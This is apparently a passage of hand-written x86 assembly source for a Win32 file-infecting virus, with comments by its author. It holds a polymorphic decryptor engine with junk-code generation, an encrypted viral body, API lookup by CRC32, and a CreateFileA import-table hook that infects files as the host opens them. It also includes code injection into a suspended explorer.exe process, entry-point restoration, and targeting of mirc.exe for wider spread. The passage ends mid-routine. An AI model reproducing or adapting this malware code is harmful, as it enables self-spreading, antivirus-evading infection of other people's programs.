;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Poly:

pushad
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov [ebp + CryptKey],eax
lea edi,[ebp + MyEntryPoint]
mov  ecx,eax
and  ecx,0000003Fh
push eax;random
and  eax,00000007h
cmp  al,4
jne  noesp1
inc  eax
noesp1:
mov  [ebp + esireg],eax
pop  eax;random
push eax
ror  eax,4
and  eax,00000007h
cmp  al,4
jne  noesp2
inc  eax
noesp2:
cmp  eax,dword ptr [ebp + esireg]
jne nosame
inc eax
cmp al,4
jne nosame
inc eax
nosame:
and  al,7
mov  [ebp + ecxreg],eax
mov  byte ptr [edi],0E8h
inc  edi
mov  dword ptr [edi],0h
add  edi,4
callz trash
callz zpop
pop   ecx;random
push  ecx
and   ecx,00003F00h
ror   ecx,8
callz trash
callz zadd
pop   ecx;random
rol   ecx,cl
and   ecx,00000007h
push  ecx
callz trash
callz zmov

pop   ecx;random2
push  edi;jnz must jump here
push  ecx
callz trash
callz zxor
pop   ecx
push  ecx
callz trash
callz zdec
pop   ecx
push  ecx
callz trash
pop   ecx
callz trash
callz zor
mov   word ptr [edi],850Fh ;jne rel32
inc   edi
inc   edi
pop   ecx; where jnz must jump
sub   ecx,edi
sub   ecx,4
mov   dword ptr [edi],ecx
add   edi,4
lea   ecx,[ebp + Encrypted]
sub   ecx,edi
callz trash
popad
ret

esireg dd 0
ecxreg dd 0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Trash generates unuseful instructions for decryptor
;in:
;   edi -> memory where function must write the trash code 
;   ecx -> bytes to write
;out:
;   edi = initial edi + ecx
;   
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
trash:
or ecx,ecx
jz NoTrash
pushad
callz randomize
popad
mov al,byte ptr [ebp + random1]
and eax,0Fh
;;;;;;;;;;;;
Trash0:
or eax,eax
jnz Trash1
cmp ecx,4
jge ok0
callz trash
ret
ok0:
;xor esireg,ecxreg ;33h -> ins code  +  11xxxyyyb -> registers
;more trash
;xor esireg,ecxreg ;undo changes
sub ecx,4
mov eax,[ebp + esireg]
mov ebx,[ebp + ecxreg]
mov dl,0C0h
rol al,3
or  dl,al
or  dl,bl
mov al,33h
stosb
mov al,dl
stosb
push edx
callz trash
pop  edx
mov al,33h
stosb
mov al,dl
stosb
ret
;;;;;;;;;;;;
Trash1:
dec eax
or eax,eax
jnz Trash2
cmp ecx,6
jge ok1
callz trash
ret
ok1:
;push esireg
;push ecxreg
;push xx
;more trash
;pop  xx
;pop  ecxreg
;pop  esireg
sub ecx,6
mov eax,[ebp + esireg]
mov ebx,[ebp + ecxreg]
mov dl,[ebp + random2]
and dl,7
add al,50h
add bl,50h
add dl,50h
push eax
push ebx
push edx
stosb
mov al,bl
stosb
mov al,dl
stosb
callz trash
pop eax
add eax,8
stosb
pop eax
add eax,8
stosb
pop eax
add eax,8
stosb
ret
;;;;;;;;;;;;
Trash2:
dec eax
or eax,eax
jnz Trash3

mov al,90h;nop
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash3:
dec eax
or eax,eax
jnz Trash4

mov al,0F9h;stc
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash4:
dec eax
or eax,eax
jnz Trash5

mov al,0F8h;clc
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash5:
dec eax
or eax,eax
jnz Trash6

mov al,0F5h;cmc
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash6:
dec eax
or eax,eax
jnz Trash7
cmp ecx,2
jge ok6
callz trash
ret
ok6:
mov eax,[ebp + esireg]
add al,40h
stosb
dec ecx
dec ecx
callz trash
mov eax,[ebp + esireg]
add al,48h
stosb
ret

;;;;;;;;;;;;
Trash7:
dec eax
or eax,eax
jnz Trash8

mov al,90h;0FAh;cli ;damn damn damn in NT cli is privileged :'(
stosb
dec ecx
callz trash
ret

;;;;;;;;;;;;
Trash8:
dec eax
or eax,eax
jnz Trash9


cmp ecx,6
jge ok8
callz trash
ret
ok8:
sub ecx,6
mov al,0C1h
stosb
mov al,0C0h
mov ebx,[ebp + ecxreg]
or al,bl
stosb
mov al,byte ptr[ebp + random2]
stosb
push eax
callz trash
mov al,0C1h
stosb
mov al,0C8h
mov ebx,[ebp + ecxreg]
or al,bl
stosb
pop eax
stosb
ret

;;;;;;;;;;;;
;;;;;;;;;;;;
Trash9:
dec eax
or eax,eax
jnz TrashA
cmp [ebp + esireg],0
je nook9
cmp [ebp + ecxreg],0
je nook9
mov al,0d6h; SALC
stosb
dec ecx
nook9:
callz trash
ret

;;;;;;;;;;;;
;;;;;;;;;;;;
TrashA:
dec eax
or eax,eax
jnz TrashB
cmp ecx,2
jge okA 
callz trash
ret
okA:
xor eax,eax
mov al,[ebp + random3]
cmp eax,[ebp + esireg];no ecxreg
je nookA
cmp eax,[ebp + ecxreg];no esireg
je nookA
cmp al,4;no esp
je nookA
or  al,al;no eax becoz opcode is different becoz some instruct. are optimizated for eax.
jz nookA
mov bl,[ebp + random2]
and ebx,7
push eax
mov al,byte ptr[ebp + ebx + opcodesA]
stosb
pop eax
mov bl,[ebp + random1]
rol bl,cl
and bl,7
rol al,3
or al,0C0h
or al,bl
stosb
dec ecx
dec ecx
callz trash
ret
nookA:
callz trash
ret
opcodesA:
db 2bh;sub
db 1bh;sbb
db 13h;adc
db 03h;add
db 23h;and
db 3bh;cmp
db 8bh;mov
db 0bh;or
db 85h;test

;;;;;;;;;;;;
;;;;;;;;;;;;
TrashB:
;nothing,only call trash again
callz trash

NoTrash:
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
randomize:;a pseudorandom number generator...its a few bad :P i could have searched something
	    ;about random generators but i was tired in that moment ;P so i coded this short
	    ;and not very efficient function...however i like it :-m
mov ecx,0001FFFFh
WaitAFew:
nop
loop WaitAFew
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov byte ptr [ebp + random1],al
mov ecx,[ebp + CryptKey]
rol eax,cl
mov byte ptr [ebp + random2],al
mov ecx,[ebp + CryptKey]
rol eax,cl
and eax,7
mov byte ptr [ebp + random3],al

ret
random1 db 0
random2 db 0
random3 db 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;all this functions receive as parameter edi pointing to code where we must write polimorphed
;code and return edi pointing to next byte where we have writed
;for now,for useful instructions of decryptor,only is changed the used registers,intruction
;is not changed by other.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zpop poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zpop:
mov eax,[ebp + esireg]
add al,58h
stosb
ret
A1:
A2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zadd poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zadd:
mov eax,[ebp + esireg]
or eax,eax
jnz noeaxreg
lea esi,[ebp + B2]
mov ecx,B3 - B2
rep movsb
ret
noeaxreg:
lea esi,[ebp + B1]
mov bl,byte ptr [ebp + B1 + 1]
and bl,0F8h
or  bl,al
mov byte ptr [ebp + B1 + 1],bl
mov ecx,B2 - B1
rep movsb
ret
B1:
add esi,Encrypted - DkRyPtIt
B2:
add eax,Encrypted - DkRyPtIt
B3:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zmov poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zmov:
mov eax,[ebp + ecxreg]
lea esi,[ebp + C1]
add byte ptr [esi],al
mov ecx,C2 - C1
rep movsb
mov byte ptr [ebp + C1],0B8h
ret
C1:
mov eax,((EVirus - Encrypted)/4)
C2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zxor poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zxor:
lea esi,[ebp + D2 - 4]
mov ecx,[ebp + CryptKey]
mov [esi],ecx
mov cl,byte ptr [esi - 2]
mov eax,[ebp + ecxreg]
mov ebx,[ebp + esireg]
rol eax,3
or  al,bl
and cl,0C0h
or  al,cl
mov byte ptr [esi - 2],al
lea esi,[ebp + D1]
mov ecx,D2 - D1
rep movsb
ret
D1:
xor dword ptr [eax + edx*4 - 4],12345678h
;81h 74h (important byte) FCh KEY
;we must change registers in the important byte
D2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zdec poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zdec:
mov eax,[ebp + ecxreg]
add al,48h
stosb
ret
E1:
E2:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zor poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zor:
mov ecx,[ebp + ecxreg]
mov eax,ecx
rol eax,3
or  al,cl
or  al,0C0h
mov byte ptr [ebp + F1 + 1],al
lea esi,[ebp + F1]
mov ecx,F2 - F1
rep movsb
ret
F1:
or  ecx,ecx
F2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;HookCreateFileA hooks CreateFileA api for current host and when host call CreateFileA
;then hook-code take control and infect the file than is passed to CreateFileA as parameter.
;
;
;in:
;    eax = kernel
;out:
;    none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
HookCreateFileA:
pushad
mov dword ptr [ebp + kernel],eax
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 0
call eax 
;eax = this module
mov edx,[eax + 3ch]
add edx,eax
mov edx,[edx + 80h];IAT
add edx,eax
mov ebx,eax
;edx -> IAT
;ebx -> MZ
sub edx,14h
SearchInIAT:
add edx,14h
mov esi,[edx + 0ch];name of dll
or  esi,esi
jz  endHook;if last and no found then we go out...however its very unprobable program doesnt
	     ;import no functions from kernel 
add esi,ebx
mov ecx,8
lea edi,[ebp + kernelBuf]
rep movsb
mov ecx,8
toLower:
dec edi
or  byte ptr [edi],20h ;becoz i have CRC of 'kernel32' string and ill search with CRC
loop toLower
mov esi,edi
mov edi,8
push edx
push ebx
call CRC32
pop  ebx
pop  edx
cmp  eax,Kernel32CRC
jne  SearchInIAT
;edx = kernel entry in IAT
push edx
mov  edx,[edx]
add  edx,ebx
;edx = array of names of kernel32
push edx
sub  edx,4
SearchCreateFileA:
add  edx,4
mov  esi,[edx];name of api
or   esi,esi
jz   endHookWithPop ;if last and no found CreateFileA we go out 
add  esi,ebx
inc  esi
inc  esi
CalcLenString
;esi -> name
;ecx = len
mov edi,ecx
push edx
push ebx
call CRC32 ;i search CreateFile by CRC too
pop  ebx
pop  edx
cmp  eax,CreateFileACRC
jne  SearchCreateFileA
pop  ecx;start of array
sub  edx,ecx
pop  eax
mov  eax,[eax + 10h]
add  eax,edx
add  eax,ebx
;dword ptr [eax] = dir of CreateFileA
;we must overwrite this dir with our hook rutine ;)
;i think that unprotect mem its not necessary becoz loader must write that dir
;however ill unprotect it
push eax
mov esi,eax
mov eax,[ebp + kernel]
mov ecx,4
xor ebx,ebx
callz UnprotectMem 
pop eax
lea esi,[ebp + HookRutine]
mov dword ptr [eax],esi ;i put over CreateFileA dir my hook rutine dir ;)
mov eax,[ebp + kernel]
GezApi eax,CreateFileACRC,CFNameLen
mov [ebp + CreateFileADir],eax    ;ill need in hook rutine
mov eax,[ebp + kernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
mov [ebp + FindFirstFileADir],eax ;ill need it in hook rutine and i wanna be fast so ill
                                  ;calc it here and i keep it
jmpz endHook
endHookWithPop:
pop eax
endHook:
popad
ret

kernelBuf db 8 dup (?)

HookRutine:
push eax
pushad
pushfd
callz HookdOff
HookdOff:
pop ebp
sub ebp,offset HookdOff
mov eax,[ebp + CreateFileADir]
mov [esp + 24h],eax ;for next ret jumps CreateFileA
mov eax,[esp + 2Ch];file
lea ebx,[ebp + WIN32_FIND_DATA]
push ebx
push eax
call dword ptr [ebp + FindFirstFileADir]
xor eax,eax
inc eax
;callz InfectIt

popfd
popad
ret;i have push eax but later i have change [esp + 24h] to CreateFileA dir so
   ;with a ret program will jmp to CreateFileA ;)

CreateFileADir    dd 0
FindFirstFileADir dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;TestFile will test WIN32_FIND_DATA to see if current file found is mirc.exe or other
;typical irc programs and later infect them with per-process characteristic.
;In addition it tests if file is explorer.exe for not infection.
;
;in:none
;
;out: eax = 1 infect with per-process / eax = 0 not necesary perprocess  / eax = -1 no infect
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
TestFile:

;When i began to code perprocess part i though to search recursively some programs
;in hard disk(mirc.exe,messenger and others) for infecting it with perprocess,but finally
;i decide if i found some of that programs,then i infect them with perprocess but i
;dont search them.I think if i infect some specific programs with perprocess for 
;increasing infection capability im not coding a worm,however if i search programs for
;modifing them for virus was sent by irc or mail or other,then im coding a worm.This is 
;only a mania,i dont want my virus was a worm :P,only that.

mircCRC     equ 7c55758dh  ; CRC of 'mirc.exe'
explorerCRC equ 0be037055h ; CRC of 'explorer.exe'



lea esi,[ebp + WFD_szFileName]
CalcLenString
push ecx
add ecx,esi
push esi
dec esi
ToLowerFileName:
inc esi
cmp esi,ecx
je EndToLower
cmp byte ptr [esi],'A'
jb ToLowerFileName
cmp byte ptr [esi],'Z'
jg ToLowerFileName
or byte ptr [esi],20h
jmp ToLowerFileName
EndToLower:
pop esi
pop edi
callz CRC32
;eax = CRC of file name
cmp eax,mircCRC
je  retPerProcess
cmp eax,explorerCRC
je  retNoInfect

xor eax,eax
ret

retPerProcess:
xor eax,eax
inc eax
ret

retNoInfect:
xor eax,eax
dec eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Pad:
PADDING equ  4 -(((Pad - SCode) - (4*((Pad - SCode)/4))))
db PADDING dup (0)
;code size its a multiple of 4 becoz encryption reasons.


ECode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

MyEntryPoint:

;HERE EXECUTION BEGINS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

;vvvvvvvvvvvvvvvvvvpolymorphed
callz DkRyPtIt
DkRyPtIt:
pop esi 
add esi,Encrypted - DkRyPtIt
mov ecx,((EVirus - Encrypted)/4)
GoGoGo:
xor dword ptr [esi + ecx*4 - 4],12345678h
dec ecx
or  ecx,ecx
jnz GoGoGo
endDKR:
PADDKR equ 200 - (endDKR - MyEntryPoint)
db PADDKR dup (90h) ;dekryptor has always 200 bytes :'(
;^^^^^^^^^^^^^^^^^^polymorphed

Encrypted:

call d_offset
d_offset:
pop  ebp
sub ebp,offset d_offset 
pop  eax  
push eax
xor  ax,ax
add  eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchKernel


;callz DetectSICE

push eax
callz InjectToExplorer ;ill run other part of code in explorer.exe
pop eax

pushad
mov ebx,dword ptr [ebp + SCode]
cmp ebx,000000E8h
jne NoHook
;if part of explorer injected code its uncrypted before copying it to explorer then 
;we can hook CreateFileA api ;)
callz HookCreateFileA
NoHook:
popad

pushad
callz NTInvasion ;/
popad

EndFirstPart:

cmp dword ptr [ebp + OldEntryPoint],0
je  endit

;here we restore EPO bytes and jmp there

push eax
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 0
call eax
mov ebx,eax
pop eax
mov esi,[ebp + OldEntryPoint]


add esi,ebx
push esi
mov ecx,EPOCodeSize
xor ebx,ebx
callz UnprotectMem
pop esi
mov edi,esi
push esi
lea esi,[ebp + EPORestoreBytes]
mov ecx,EPOCodeSize
rep movsb
pop esi
jmp esi
endit: ;only first gen...in second we return to host
push 0
call ExitProcess

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

OldEntryPoint   dd 0
EPORestoreBytes db EPOCodeSize dup(0)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Loads and injects to explorer the viral code and execute it.
;in:
;   eax = Base Kernel
;out: 
;   none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

InjectToExplorer:;only in 9x
mov ecx,cs
xor cl,cl
or ecx,ecx
jne ContinueInjecting
ret
ContinueInjecting:
push eax;we save kernel base
;now ill create a new process but stopped...createprocess has a option
;to create the process stopped and you can to force it to continue later.So ill 
;create this new process and after ill infect in memory it with this code but 
;uncryting encrypted parts. 
callz LoadExplorer9x
;   eax = handle to process
;   ebx = process ID
;   ecx = offset of primary module(.exe module)
;   edx = size of module in bytes
;   esi = primary thread handle
;   edi = primary thread ID
pushad
mov ebx,eax        ;handle of process
mov eax,[esp + 32] ;base of kernel
mov esi,ecx        ;offset of module
mov ecx,edx        ;size of module
;now we unprotect new process mem
callz UnprotectMem
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase
;now i must search entry point of new process
;Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
mov eax,[esp + 32];BaseKernel
mov ebx,[esp + 28];hProcess
mov ecx,[esp + 24];OffsetInProc
add ecx,3ch       ;for reading lfanew
push 0            ;space for reading lfanew value
mov edx,esp       ;Buffer
pushad
Readz eax,ebx,ecx,edx,4
popad
pop esi           ;lfanew
sub ecx,3ch
add ecx,esi       ;lfanew + module
add ecx,28h       ;lfanew + module + 28h for reading entryPoint
push 0            ;space for reading lfanew value
mov edx,esp       ;Buffer
pushad
Readz eax,ebx,ecx,edx,4
popad
pop edi
mov ecx,[esp + 24];OffsetInProc
add edi,ecx
;edi = entryPoint in module in new process

;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so 
;now we must search the key using brute force
xor ecx,ecx
mov edx,dword ptr [ebp + SCode]
WhatKey:
xor edx,ecx
cmp edx,000000E8h
je  KeyFound
xor edx,ecx
loop WhatKey
KeyFound:
mov edx,ecx
;edx = key
lea esi,[ebp + SCode]
mov ecx,((ECode - SCode)/4)

;and now we will write the code to new process uncrypting it while

WriteCode:
pushad
push dword ptr [esi]
xor dword ptr [esp],edx
mov esi,esp
Writez eax,ebx,edi,esi,4
pop esi
popad
add esi,4
add edi,4
loop WriteCode
sub esi,ebp
cmp esi,offset EVirus
je  CodeCopied
add esi,ebp
mov ecx,((EVirus - ECode)/4)
xor edx,edx
jmpz WriteCode

CodeCopied:

;here we must have copied all code and now we must start execution of thread
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase

mov eax,[esp + 32]
GezApi eax,ResumeThreadCRC,RTNameLen
;eax -> ResumeThread
push dword ptr [esp + 4];Thread Handle
call eax


add esp,32
pop eax

ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in: 
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.  
;   ebx -> handle of the process where is the memory.If 0 this process
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
UnprotectMem:

or ebx,ebx
jne NoThisProcess
push eax 
push esi 
push ecx
GezApi eax,GetCurrentProcessCRC,GCPNameLen
;eax -> GetCurrentProcess
call eax
;eax = hand of this process
mov  ebx,eax
pop  ecx
pop  esi
pop  eax
NoThisProcess:
push ebx
push esi
push ecx
GezApi eax,VirtualProtectExCRC,VPNameLen
;eax -> VirtualProtectEx
pop ecx
pop esi
pop ebx
;ebx = hand of process
;esi = dir
;ecx = nbytes
push eax ;space for receiving lpflOldProtect out parameter
push esp
push PAGE_EXECUTE_READWRITE
push ecx
push esi
push ebx
call eax
pop  eax ;we remove space that we reserve in the stack for out parameter
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
;   edi = size of buffer
;out:
;   eax = cksum 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:
	cld
      xor     ecx,ecx
      dec     ecx
	mov     edx,ecx
NextByteCRC:
	xor     eax,eax
	xor     ebx,ebx
	lodsb
      xor     al,cl                           
      mov     cl,ch                           
	mov     ch,dl
	mov     dl,dh
	mov     dh,8
NextBitCRC:
	shr     bx,1
	rcr     ax,1
	jnc     NoCRC
	xor     ax,08320h
	xor     bx,0EDB8h
NoCRC:
      dec     dh
	jnz     NextBitCRC
	xor     ecx,eax
	xor     edx,ebx
      dec     edi
	jnz     NextByteCRC
	not     edx
	not     ecx
	mov     eax,edx
	rol     eax,16
	mov     ax,cx
	ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc. 
;in:
;   eax -> base of dll
;   edx = the crc32 of api to search.
;   ebx = api name len.
;out:
;   eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:
;eax -> base of dll
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov  ebx,[eax + 20h] 
add  ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub  ebx,4
SearchApiByCRC:
add  ebx,4
mov  esi,[ebx]
add  esi,dword ptr [esp + 12]
CalcLenString 
;ecx = length api.name
mov  edi,[esp + 4]
cmp  edi,ecx
jne  SearchApiByCRC
mov  edi,ecx
push ebx
push edx
callz CRC32
pop  edx
pop  ebx
cmp  eax,edx
jne  SearchApiByCRC
pop  edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;LoadExplorer9x creates a new process suspended with explorer.exe in 9x
;
;I learned how to use ToolHelp32 and psapi thx to Win32.Dengue so i must say thx to GriYo :)
;I havent copied code! ... i have read it and i have learned from it :)
;
;in:
;   eax = base of kernel
;out:
;   eax = handle to process
;   ebx = process ID
;   ecx = offset of primary module(.exe module)
;   edx = size of module in bytes
;   esi = primary thread handle
;   edi = primary thread ID
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LoadExplorer9x:

;Note that though we create a process
;from a module from windows directory we specify to CreateProcess that 
;working directory is same than calling process,this process,so we can search
;here a file to infect it.  

push   eax ;kernel base saved
sub    esp,200
mov    esi,esp 
callz  GetExplorer

;ecx = number of read bytes
push   ecx ;we save it
mov    eax,dword ptr [esp + 204];eax = base kernel
GezApi eax,CreateProcessACRC,CPNameLen
